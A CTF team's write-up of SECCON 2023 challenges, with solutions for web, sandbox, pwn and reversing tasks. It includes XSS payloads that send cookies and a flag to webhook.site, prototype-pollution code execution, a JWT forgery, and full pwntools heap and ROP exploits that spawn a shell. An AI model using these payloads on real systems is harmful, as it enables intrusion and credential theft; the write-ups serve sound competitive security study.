SECCON 2023

Web

Blink

We clobbered the body property with a frame (<iframe name=body>) and then the togglePopover property with an anchor tag <a id=togglePopver >. Then setInterval will receive our anchor tag as first argument and will do toString on it which will turn it into our payload and then will execute it.

poc:

<script>
window.open(`http://web:3000/#%3Ciframe%20srcdoc=%22%3Ca%20href='tel:/df/;eval(window.name)'%20id=togglePopover%20%3E%3C/a%3E%22%20name=body%3E%3C/iframe%3E`,'fetch("https://webhook.site/f038dd80-dd62-45a4-8928-696a140f8b12?a="+document.cookie);')
</script>

eeejs

This challenge was about being able to inject ejs options and with some mitigations. We tried to get RCE for some time but we failed. To get XSS we used the delimiter properties and a gadget in render.dist.js. Also if we set the delimiter option to an array with a zero length string then we don't need to adjust it anymore ( but then we can't use <%- or <%= options ).

exports.escapeXML = function(markup) {
    return markup == void 0 ? "" : String(markup).replace(_MATCH_HTML, encode_char);
};

<script>
if(!window.name){
    window.open(`http://web:3000/?filename=./render.dist.js&settings[view%20options][delimiter][0]=&settings[view%20options][closeDelimiter]=}&settings[view%20options][openDelimiter]=XML%20=%20function(markup)%20{&markup=%3Ca%20href=%22A%22%3E%3C/a%3E&_MATCH_HTML=a&encode_char=iframe%20srcdoc=%27%26lt;script%20src=%22?filename%3d./render.dist.js%26settings[view%20options][delimiter][0]%3d%26settings[view%20options][closeDelimiter]%3d}%26settings[view%20options][openDelimiter]%3dXML%20%3d%20function(markup)%20{%26markup%3da%26_MATCH_HTML%3da%26encode_char%3dtop.document.location%3d\`//webhook.site/xxx?a%3d\`%252bdocument.cookie%22%26gt;%26lt;/script%26gt;%27`,'a')
}
</script>

badjwt

const createSignature = (header, payload, secret) => {
  const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
  const signature = algorithms[header.alg.toLowerCase()](data, secret);
  return signature;
};

Using the "alg" header of the JWT token, we can create a signature value with any arbitrary algorithm. Since the algorithm variable is JavaScript object, setting the "alg" value to "constructor" executes the Object constructor, allowing us to obtain a consistent signature value for a random key at all times.

Therefore, since the signature value is the base64 encoded form of the header+payload, we can get the flag by creating and sending the token.

payload: eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjogdHJ1ZX0.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ

FLAG : SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}

Simple Calc

We have this CSP Content-Security-Policy: default-src http://localhost:3000/js/index.js 'unsafe-eval'; and easy XSS http://simplecalc.seccon.games:3000/?expr=alert(23)

The goal is to send a request to http://localhost:3000/flag with X-Flag header and admin cookies which is httponly, we can't use fetch() or other APIs as connect-src CSP header is missing so it will fallback to default-src.

Removing the CSP header, there is a trick in express which if the any parameter of the request is more than 16,000 characters it will send 431 error without any headers.

Using this trick we will use the XSS to create an iframe pointing to http://localhost:3000/js/index.js?very=very_long_text and then iframe.eval('our_code') since the iframe doesn't have any CSP.

Final payload:

j=window.open('http://localhost:3000/js/index.js','j'); 
setTimeout(()=>{ j.x=document.createElement('iframe'); 
j.x.src='http://localhost:3000/js/index.js?x='+'a'.repeat(16000); 
j.document.body.appendChild(j.x); },1000);
 setTimeout(()=>{ 
 j.frames[0].eval(`fetch("http://localhost:3000/flag", { headers: { 'X-Flag': 'asdf' }, credentials: "same-origin" }).then(x=>x.text().then(x=>{top.location='https://webhook.site/8313baf6-ac69-4be6-a93d-ef444023551c?x='+x}))`); },2000);

The flag is sent to our webhook.

Sandbox

deno-pp

The following payload the generates the payload

'{"constructor":{"prototype":{"nodeProcessUnhandledRejectionCallback":{"__custom__":true,"type":"Function","args":["console.log(Array.from(Deno.readDirSync(`/`)));"]}}},"A":'+'['.repeat(10000)+']'.repeat(10000)+'}';

We found the nodeProcessUnhandledRejectionCallback property by using –inspect-brk of deno and tracing how it handles errors. Finding a way to trigger an error was easy with deno ( just need many nested arrays ).

node-pp

We found that the prepareStackTrace property can be used to get RCE by throwing an error.

To use prepareStackTrace we need to trigger an error but we couldn't find any way to trigger an error at first because there was a length limit so we couldn't use the nested array trick.

Then we polluted all words that exist in nodejs source code to see what happens.

#!/usr/bin/env python3
import json
import glob
import os
import re
# Returns a list of name
# q = open('./words.txt')
v = []
files = glob.glob('./src/**',recursive = True)
for f in files:
    if(os.path.isfile(f)):
        try:
            a = open(f,'r')
            g = a.read()
            z = re.findall(r'\b\w+\b',g)
            for wwww in z:
                if(wwww not in v):
                    v.append(wwww)
            a.close()
        except:
            pass
f = open('./out.txt','w')
f.write(json.dumps(v))
# print(v)
f.close()

This generates a text file with all the words we need. then we pollluted all of them in nodejs with a function and then we saw that the program triggers an error when we pollute "1" with a function.

{"constructor":{"prototype":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["console.log(process.mainModule.require(`fs`).readFileSync(`/flag-c4edc8d813ccfa253d090fa595a4cd91.txt`).toString())"]},"1":{"__custom__":true,"type":"Function","args":["2"]}}}}

crabox

The macros were easy to find. I found the static assertion trick in: https://github.com/rust-lang/rfcs/issues/2790

from pwn import *
import socks
context.proxy = (socks.SOCKS5,'192.168.122.1',8084)
flag = ''
for i in range(100):
    for zz in 'abcdefghijklmnopqrstuvwxyz0123456789_}':
        p = remote('crabox.seccon.games',1337)
        p.sendline(b"""
const _: &() = &[()][1 - (include_bytes!(file!())["""+str(115+i).encode()+b"""]=="""+str(ord(zz)).rjust(3,'0').encode()+b""") as usize];
__EOF__    
        """)

        # /* Steal me: {{FLAG}} */
        p.recvuntil(b':\n')
        # print(i,)
        if(p.recvline() == b':)\n'):
            flag += zz
            print(flag)
            break
        # p.interactive()
        p.close()

    # p.recvuntil(b':    ')

Pwn

selfcet

The binary allowed overwriting anything in the ctx_t obejct (and also behind it).






















typedef struct {
  char key[KEY_SIZE];
  char buf[KEY_SIZE];
  const char *error;
  int status;
  void (*throw)(int, const char*, ...);
} ctx_t;

void read_member(ctx_t *ctx, off_t offset, size_t size) {
  if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
    ctx->status = EXIT_FAILURE;
    ctx->error = "I/O Error";
  }
  ctx->buf[strcspn(ctx->buf, "\n")] = '\0';

  if (ctx->status != 0)
    CFI(ctx->throw)(ctx->status, ctx->error);
}

...
read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));

Overwriting status, will trigger ctx->throw, but the CFI check will only execute it, if the referenced function starts with endbr64.

We used this, to first leak libc address by doing a partial overwrite (1 nibble bruteforce) to point ctx->throw to __GI_warn instead of err. This way it will not exit after leak.

The second payload was used to call __libc_start_main to jump back into main function to have two additional payloads.

Having a libc leak now, we called gets(bss) to read /bin/sh to bss and the second payload to execute system(bss) (this was needed, since the status parameter is int32 and we can only use 32 bit addresses as first argument).














































































#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "selfcet.seccon.games"
PORT = 9999
PROCESS = "./xor"


def exploit(r):
    payload1 = "\x00"*0x20              # key
    payload1 += "C"*0x20                # buf
    payload1 += p64(0x404000)           # error
    payload1 += p64(e.got["read"])      # status
    payload1 += p64(0x40d0)[:2]         # throw

    r.send(payload1)

    r.recvuntil("xor: ")
    LEAK = u64(r.recv(6).ljust(8, "\x00"))
    libc.address = LEAK - libc.symbols["read"]

    log.info("LEAK        : %s" % hex(LEAK))
    log.info("LIBC        : %s" % hex(libc.address))

    pause()

    payload1 = "A"*0x20
    payload1 += p64(0x401209)
    payload1 += p64(0x4)
    payload1 += p64(libc.symbols["__libc_start_main"])
    r.send(payload1)

    pause()

    # back in main at first payload
    payload1 = "A"*0x20
    payload1 += "C"*0x20
    payload1 += p64(0x404500)
    payload1 += p64(0x404500)
    payload1 += p64(libc.symbols["gets"])

    r.send(payload1)

    pause()

    r.sendline("/bin/sh\x00")

    log.info("calling main")
    pause()

    payload1 = "A"*0x20
    payload1 += p64(0x401209)
    payload1 += p64(0x404500)
    payload1 += p64(libc.symbols["system"])
    r.send(payload1)

    r.interactive()

    return


if __name__ == "__main__":
    e = ELF("./xor")
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./xor", env={"LD_PRELOAD": "./libc.so.6"})
        print(util.proc.pidof(r))
        pause()

    exploit(r)

full writeup: https://kileak.github.io/ctf/2023/secconquals23-selfcet/

Datastore1

DataStore1 lets us create a hierarchic data structure, which could consist of arrays, strings, ints and floats on different levels.

The bug for this challenge is in the edit function




printf("index: ");
unsigned idx = getint();
if(idx > arr->count)
    return -1;

In the boundary check we have an off-by-one, since it checks that idx is not bigger than arr->count (though it should check for greater or equal). This allows us to update/delete one data_t object "behind" the current type, overwriting followup data on the heap.

Short version:

Create multiple arrays, use oob access to overwrite the size of a follow up array with another array ptr to leak heap address
Create string object behind an array and use oob access to overwrite size of string pointer
Use the corrupted string pointer to create a big fake chunk on the heap and free it to leak main_arena pointer
Overwrite strnlen in abs.got of libc to execute system(/bin/sh)



















































































































































































































































#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "datastore1.seccon.games"
PORT = 4585
PROCESS = "./chall"


def editval(value):
    r.sendline("1")
    r.sendlineafter("> ", "v")
    r.sendlineafter(": ", value)
    r.recvuntil("> ")


def editarr(size):
    r.sendline("1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", str(size))
    r.recvuntil("> ")


def createsubarr(idx, size):
    r.sendline("1")
    r.sendlineafter("index: ", str(idx))
    r.sendlineafter("> ", "1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", str(size))
    r.recvuntil("> ")


def createarray(parent_indexes, size):
    r.sendline("1")

    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")

    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", str(size))
    r.recvuntil("> ")


def updatevalue(parent_indexes, value):
    r.sendline("1")

    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")

    r.sendlineafter("> ", "v")
    r.sendlineafter(": ", value)
    r.recvuntil("> ")


def updatestring(parent_indexes, value):
    r.sendline("1")

    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")

    r.sendlineafter("bytes): ", value)
    r.recvuntil("> ")


def delete(parent_indexes, del_idx):
    r.sendline("1")

    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")

    r.sendlineafter("index: ", str(del_idx))
    r.sendlineafter("> ", "2")
    r.recvuntil("> ")


def exploit(r):
    r.recvuntil("> ")

    log.info("Create initial array")
    r.sendline("1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", "1")
    r.recvuntil("> ")

    log.info("Create sub arrays")
    createarray([0], 4)
    createarray([0, 0], 4)
    createarray([0, 1], 4)
    createarray([0, 2], 4)
    createarray([0, 3], 4)

    log.info("Overwrite array size with another array")
    delete([0, 1], 4)
    createarray([0, 1, 4], 10)

    log.info("Leak heap address from array size")
    r.sendline("1")
    r.sendlineafter(": ", "0")
    r.sendlineafter("> ", "1")
    r.recvuntil("[02] <ARRAY(")
    LEAK = int(r.recvuntil(")", drop=True))
    r.sendlineafter("index: ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter("index: ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter("> ", "v")
    r.sendlineafter(": ", str(100))
    r.recvuntil("> ")

    HEAPBASE = LEAK - 0x470

    log.info("HEAP leak     : %s" % hex(LEAK))
    log.info("HEAP base     : %s" % hex(HEAPBASE))

    log.info("Create strings on heap")
    updatevalue([0, 1, 1], "A"*8)
    updatevalue([0, 1, 2], "A"*8)
    updatevalue([0, 1, 3], "A"*8)

    # fill heap
    log.info("Fillup heap")
    createarray([0, 3, 0], 10)
    createarray([0, 3, 1], 10)
    createarray([0, 3, 2], 10)
    createarray([0, 3, 3], 10)
    createarray([0, 3, 0, 0], 10)
    createarray([0, 3, 0, 1], 10)
    createarray([0, 3, 0, 2], 10)

    # delete 10th element of 0/1/4 to avoid unknown datatype
    delete([0, 1, 4], 10)

    # overwrite string length
    updatevalue([0, 1, 4, 10], "1000")

    log.info("Corrupting string pointer")
    payload = p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x00000000000003e8)+p64(HEAPBASE+0x680)
    payload += p64(0x0000000000000000)+p64(0x0000000000000561)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)

    updatestring([0, 1, 1], payload)
    delete([0, 1], 3)

    log.info("Update string pointer again")
    payload = p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x00000000000003e8)+p64(HEAPBASE+0x690)

    updatestring([0, 1, 1], payload)

    log.info("Get libc leak")
    r.sendline("1")
    r.sendlineafter("index: ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter("index: ", "1")
    r.sendlineafter("> ", "1")

    r.recvuntil("[02] <S> ")
    LIBCLEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
    r.sendlineafter(": ", "0")
    r.sendlineafter("> ", "2")
    r.recvuntil("> ")

    log.info("LIBC leak     : %s" % hex(LIBCLEAK))
    libc.address = LIBCLEAK - 0x219ce0
    log.info("LIBC          : %s" % hex(libc.address))

    payload = "/bin/sh\x00"+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x00000000000003e8)+p64(libc.address + 0x219018)

    updatestring([0, 1, 1], payload)
    updatestring([0, 1, 2], p64(libc.symbols["system"]))

    # trigger shell
    r.sendline("1")
    r.sendlineafter(": ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter(": ", "1")
    r.sendlineafter("> ", "1")
    r.interactive()

    return


if __name__ == "__main__":
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./chall", env={"LD_PRELOAD": "./libc.so.6"})
        print(util.proc.pidof(r))
        pause()

    exploit(r)

Full writeup: https://kileak.github.io/ctf/2023/secconquals23-datastore1/

rop-2.35

When the gets returns, rdi has fixed address in libc.

So, overwrite the gets@plt at the return address and system@plt next address on stack, we could execute like below.

gets(rdi -> libc's data);
system(rdi -> libc's data same as above)

But, the buffer was a member of file structure. some byte was decreased after gets returns.














from pwn import *

e = ELF('./chall')
# p = e.process()
p = remote('rop-2-35.seccon.games', 9999)

pay = b'A' * 0x18
pay += p64(e.plt['gets']) + p64(e.plt['system'])

p.sendline(pay)
pause()
p.sendline(b'/bin0bash\x00\x00\x00\x00')

p.interactive()

Rev

Jumpout

This challenge at hand is that the decompilation in IDA is not working properly due to instructions like 'jmp rax' and similar.
However, there is no significant problem when it comes to actual debugging.
Therefore, through debugging, it can be obseved that the code involves XOR operations with 0x55, a secret key, and sequentially increasing index values. These operations are performed and compared with stored encrypted values.









data = [0xF6, 0xF5, 0x31, 0xC8, 0x81, 0x15, 0x14, 0x68, 0xF6, 0x35, 0xE5, 0x3E, 0x82, 0x09, 0xCA, 0xF1,
0x8A, 0xA9, 0xDF, 0xDF, 0x33, 0x2A, 0x6D, 0x81, 0xF5, 0xA6, 0x85, 0xDF, 0x17]
data2 = [0xF0, 0xE4, 0x25, 0xDD, 0x9F, 0x0B, 0x3C, 0x50, 0xDE, 0x04, 0xCA, 0x3F, 0xAF, 0x30, 0xF3, 0xC7,
0xAA, 0xB2, 0xFD, 0xEF, 0x17, 0x18, 0x57, 0xB4, 0xD0, 0x8F, 0xB8, 0xF4, 0x23]

c = ''
for i, v in enumerate(data):
    c += chr(v ^ 0x55 ^ data2[i] ^ i)
print(c)

Optinimize

This challenge pertains to a challenge written in the Nim Language. When searching for Nim language, you can easily find sample programming code examples utilizing it.
The link is as follows:
https://github.com/nim-lang/bigints/blob/master/examples/rc_combperm.nim

Looking at the title of the challenge, one can infer that it is related to optimization, and upon running the program, it becomes evident that a portion of the flag is missing from the output.
It is highly likely that the code consists of numerous loops with a very high level of the Time Complexity.

What can be observed through debugging is that the structure of the BigInt object consists of an arbitrary flag value and a memory pointer to the actual content the object aims to store.
The integer information to be stored is present in the content.

If we were to create pseudocode with arbitrary code, it would look like the following:

What can be inferred from the provided pseudocode is that the value being computed internally for XOR purposes is derived from the Perrin sequence. To obtain Perrin sequence values, the following service was used:
https://oeis.org/A013998/list

Furthermore, by utilizing the Perrin sequence, you can create the following code to retrieve the flag.




















#!sage --python
from sage.all import *

P = Primes()

bb = [271441,904631,16532714,24658561,27422714,27664033,46672291,102690901,130944133,196075949,214038533,517697641,545670533,801123451,855073301,903136901,970355431,1091327579,1133818561,1235188597,1389675541,1502682721,2059739221,2304156469,2976407809,3273820903]
kk = [74, 85, 111, 121, 128, 149, 174, 191, 199, 213, 774, 6856, 9402, 15616, 17153, 22054, 27353, 28931, 36891, 40451, 1990582, 2553700, 3194270, 4224632, 5969723, 7332785, 7925541, 8752735, 10012217, 11365110, 17301654, 26085581, 29057287, 32837617, 39609127, 44659126, 47613075, 56815808, 58232493, 63613165]
aa = [60, 244, 26, 208, 138, 23, 124, 76, 223, 33, 223, 176, 18, 184, 78, 250, 217, 45, 102, 250, 212, 149, 240, 102, 109, 206, 105, 0, 125, 149, 234, 217, 10, 235, 39, 99, 117, 17, 55, 212]

t = []
for i in kk:
    x = P.unrank(i - 2)
    c = 0
    for j in bb:
        if j >= x: break
        c += 1
    x = P.unrank(i - c - 2)
    t.append(x)

print(bytes(aa[i]^t[i]&0xff for i in range(len(kk))))

Perfect Blu

We are provided with an ISO image of a Blu-Ray disc. After initial inspection, we successfully run it inside the VLC and being presented with a menu for checking of the flag:

After lots of Google-ing and lots of different tries to find the menu's logic, we managed to find it by using the tool BDedit. There is a state machine connecting the different menu presses from one button to another.

In short, there is a state logic (visible within BDedit's CLIPINF/Menu tabs), connecting all those pressed (menu) buttons in sequential manner. At the end, we managed to find the valid sequency (i.e. flag) SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV}

Sickle

The pickle has a jump-like something what implemented by io.seek.

So, we patched the pickle to dump using pickletools and some parts of pickletools.

Below is extracted pickle

    0: \x8c SHORT_BINUNICODE 'builtins'
   10: \x8c SHORT_BINUNICODE 'getattr'
   19: \x93 STACK_GLOBAL
   20: \x94 MEMOIZE    (as 0)
   21: 2    DUP
   22: \x8c SHORT_BINUNICODE 'builtins'
   32: \x8c SHORT_BINUNICODE 'input'
   39: \x93 STACK_GLOBAL
   40: \x8c SHORT_BINUNICODE 'FLAG> '
   48: \x85 TUPLE1
   49: R    REDUCE
   50: \x8c SHORT_BINUNICODE 'encode'
   58: \x86 TUPLE2
   59: R    REDUCE
   60: )    EMPTY_TUPLE
   61: R    REDUCE
   62: \x94 MEMOIZE    (as 1)
   63: 0    POP
   64: g    GET        0
   67: \x8c SHORT_BINUNICODE 'builtins'
   77: \x8c SHORT_BINUNICODE 'dict'
   83: \x93 STACK_GLOBAL
   84: \x8c SHORT_BINUNICODE 'get'
   89: \x86 TUPLE2
   90: R    REDUCE
   91: \x8c SHORT_BINUNICODE 'builtins'
  101: \x8c SHORT_BINUNICODE 'globals'
  110: \x93 STACK_GLOBAL
  111: )    EMPTY_TUPLE
  112: R    REDUCE
  113: \x8c SHORT_BINUNICODE 'f'
  116: \x86 TUPLE2
  117: R    REDUCE
  118: \x8c SHORT_BINUNICODE 'seek'
  124: \x86 TUPLE2
  125: R    REDUCE
  126: \x94 MEMOIZE    (as 2)
  127: g    GET        0
  130: \x8c SHORT_BINUNICODE 'builtins'
  140: \x8c SHORT_BINUNICODE 'int'
  145: \x93 STACK_GLOBAL
  146: \x8c SHORT_BINUNICODE '__add__'
  155: \x86 TUPLE2
  156: R    REDUCE
  157: \x94 MEMOIZE    (as 3)
  158: 0    POP
  159: g    GET        0
  162: \x8c SHORT_BINUNICODE 'builtins'
  172: \x8c SHORT_BINUNICODE 'int'
  177: \x93 STACK_GLOBAL
  178: \x8c SHORT_BINUNICODE '__mul__'
  187: \x86 TUPLE2
  188: R    REDUCE
  189: \x94 MEMOIZE    (as 4)
  190: 0    POP
  191: g    GET        0
  194: \x8c SHORT_BINUNICODE 'builtins'
  204: \x8c SHORT_BINUNICODE 'int'
  209: \x93 STACK_GLOBAL
  210: \x8c SHORT_BINUNICODE '__eq__'
  218: \x86 TUPLE2
  219: R    REDUCE
  220: \x94 MEMOIZE    (as 5)
  221: 0    POP
  222: g    GET        3
  225: g    GET        5
  228: \x8c SHORT_BINUNICODE 'builtins'
  238: \x8c SHORT_BINUNICODE 'len'
  243: \x93 STACK_GLOBAL
  244: g    GET        1
  247: \x85 TUPLE1
  248: R    REDUCE
  249: M    BININT2    64
  252: \x86 TUPLE2
  253: R    REDUCE
  254: M    BININT2    261
  257: \x86 TUPLE2
  258: R    REDUCE
  259: \x85 TUPLE1
  260: R    REDUCE
  261: 0    POP
  262: g    GET        0
  265: g    GET        1
  268: \x8c SHORT_BINUNICODE '__getitem__'
  281: \x86 TUPLE2
  282: R    REDUCE
  283: \x94 MEMOIZE    (as 6)
  284: 0    POP
  285: M    BININT2    0
  288: \x94 MEMOIZE    (as 7)
  289: 0    POP
  290: g    GET        2
  293: g    GET        3
  296: g    GET        0
  299: g    GET        6
  302: g    GET        7
  305: \x85 TUPLE1
  306: R    REDUCE
  307: \x8c SHORT_BINUNICODE '__le__'
  315: \x86 TUPLE2
  316: R    REDUCE
  317: M    BININT2    127
  320: \x85 TUPLE1
  321: R    REDUCE
  322: M    BININT2    330
  325: \x86 TUPLE2
  326: R    REDUCE
  327: \x85 TUPLE1
  328: R    REDUCE
  329: g    GET        2
  332: g    GET        3
  335: g    GET        4
  338: g    GET        5
  341: g    GET        3
  344: g    GET        7
  347: M    BININT2    1
  350: \x86 TUPLE2
  351: R    REDUCE
  352: p    PUT        7
  355: M    BININT2    64
  358: \x86 TUPLE2
  359: R    REDUCE
  360: M    BININT2    85
  363: \x86 TUPLE2
  364: R    REDUCE
  365: M    BININT2    290
  368: \x86 TUPLE2
  369: R    REDUCE
  370: \x85 TUPLE1
  371: R    REDUCE
  372: 0    POP
  373: g    GET        0
  376: g    GET        0
  379: ]    EMPTY_LIST
  380: \x94 MEMOIZE    (as 8)
  381: \x8c SHORT_BINUNICODE 'append'
  389: \x86 TUPLE2
  390: R    REDUCE
  391: \x94 MEMOIZE    (as 9)
  392: 0    POP
  393: g    GET        8
  396: \x8c SHORT_BINUNICODE '__getitem__'
  409: \x86 TUPLE2
  410: R    REDUCE
  411: \x94 MEMOIZE    (as 10)
  412: 0    POP
  413: g    GET        0
  416: \x8c SHORT_BINUNICODE 'builtins'
  426: \x8c SHORT_BINUNICODE 'int'
  431: \x93 STACK_GLOBAL
  432: \x8c SHORT_BINUNICODE 'from_bytes'
  444: \x86 TUPLE2
  445: R    REDUCE
  446: \x94 MEMOIZE    (as 11)
  447: 0    POP
  448: M    BININT2    0
  451: p    PUT        7
  454: 0    POP
  455: g    GET        9
  458: g    GET        11
  462: g    GET        6
  465: \x8c SHORT_BINUNICODE 'builtins'
  475: \x8c SHORT_BINUNICODE 'slice'
  482: \x93 STACK_GLOBAL
  483: g    GET        4
  486: g    GET        7
  489: M    BININT2    8
  492: \x86 TUPLE2
  493: R    REDUCE
  494: g    GET        4
  497: g    GET        3
  500: g    GET        7
  503: M    BININT2    1
  506: \x86 TUPLE2
  507: R    REDUCE
  508: M    BININT2    8
  511: \x86 TUPLE2
  512: R    REDUCE
  513: \x86 TUPLE2
  514: R    REDUCE
  515: \x85 TUPLE1
  516: R    REDUCE
  517: \x8c SHORT_BINUNICODE 'little'
  525: \x86 TUPLE2
  526: R    REDUCE
  527: \x85 TUPLE1
  528: R    REDUCE
  529: 0    POP
  530: g    GET        2
  533: g    GET        3
  536: g    GET        4
  539: g    GET        5
  542: g    GET        3
  545: g    GET        7
  548: M    BININT2    1
  551: \x86 TUPLE2
  552: R    REDUCE
  553: p    PUT        7
  556: M    BININT2    8
  559: \x86 TUPLE2
  560: R    REDUCE
  561: M    BININT2    119
  564: \x86 TUPLE2
  565: R    REDUCE
  566: M    BININT2    457
  569: \x86 TUPLE2
  570: R    REDUCE
  571: \x85 TUPLE1
  572: R    REDUCE
  573: 0    POP
  574: g    GET        0
  577: ]    EMPTY_LIST
  578: \x94 MEMOIZE    (as 12)
  579: \x8c SHORT_BINUNICODE 'append'
  587: \x86 TUPLE2
  588: R    REDUCE
  589: \x94 MEMOIZE    (as 13)
  590: 0    POP
  591: g    GET        0
  594: g    GET        12
  598: \x8c SHORT_BINUNICODE '__getitem__'
  611: \x86 TUPLE2
  612: R    REDUCE
  613: \x94 MEMOIZE    (as 14)
  614: 0    POP
  615: g    GET        0
  618: \x8c SHORT_BINUNICODE 'builtins'
  628: \x8c SHORT_BINUNICODE 'int'
  633: \x93 STACK_GLOBAL
  634: \x8c SHORT_BINUNICODE '__xor__'
  643: \x86 TUPLE2
  644: R    REDUCE
  645: \x94 MEMOIZE    (as 15)
  646: 0    POP
  647: I    INT        1244422970072434993
  668: \x94 MEMOIZE    (as 16)
  669: 0    POP
  670: M    BININT2    0
  673: p    PUT        7
  676: 0    POP
  677: g    GET        13
  681: \x8c SHORT_BINUNICODE 'builtins'
  691: \x8c SHORT_BINUNICODE 'pow'
  696: \x93 STACK_GLOBAL
  697: g    GET        15
  701: g    GET        10
  705: g    GET        7
  708: \x85 TUPLE1
  709: R    REDUCE
  710: g    GET        16
  714: \x86 TUPLE2
  715: R    REDUCE
  716: I    INT        65537
  723: I    INT        18446744073709551557
  745: \x87 TUPLE3
  746: R    REDUCE
  747: \x85 TUPLE1
  748: R    REDUCE
  749: 0    POP
  750: g    GET        14
  754: g    GET        7
  757: \x85 TUPLE1
  758: R    REDUCE
  759: p    PUT        16
  763: 0    POP
  764: g    GET        2
  767: g    GET        3
  770: g    GET        4
  773: g    GET        5
  776: g    GET        3
  779: g    GET        7
  782: M    BININT2    1
  785: \x86 TUPLE2
  786: R    REDUCE
  787: p    PUT        7
  790: M    BININT2    8
  793: \x86 TUPLE2
  794: R    REDUCE
  795: M    BININT2    131
  798: \x86 TUPLE2
  799: R    REDUCE
  800: M    BININT2    679
  803: \x86 TUPLE2
  804: R    REDUCE
  805: \x85 TUPLE1
  806: R    REDUCE
  807: 0    POP
  808: g    GET        0
  811: g    GET        12
  815: \x8c SHORT_BINUNICODE '__eq__'
  823: \x86 TUPLE2
  824: R    REDUCE
  825: (    MARK
  826: I        INT        8215359690687096682
  847: I        INT        1862662588367509514
  868: I        INT        8350772864914849965
  889: I        INT        11616510986494699232
  911: I        INT        3711648467207374797
  932: I        INT        9722127090168848805
  953: I        INT        16780197523811627561
  975: I        INT        18138828537077112905
  997: l        LIST       (MARK at 825)
  998: \x85 TUPLE1
  999: R    REDUCE
 1000: 0    POP
 1001: .    STOP
highest protocol among opcodes = 4

It checked every bytes of the input is less than 127 and encrypted the data by RSA on CBC like system.
















t = [8215359690687096682,
1862662588367509514,
8350772864914849965,
11616510986494699232,
3711648467207374797,
9722127090168848805,
16780197523811627561,
18138828537077112905]

x = 1244422970072434993
flag = b''
for i in range(len(t)):
    flag += (pow(t[i], 1563288166766602825, 18446744073709551557) ^ x).to_bytes(8, 'little')
    x = t[i]

print(flag.decode())

xuyao

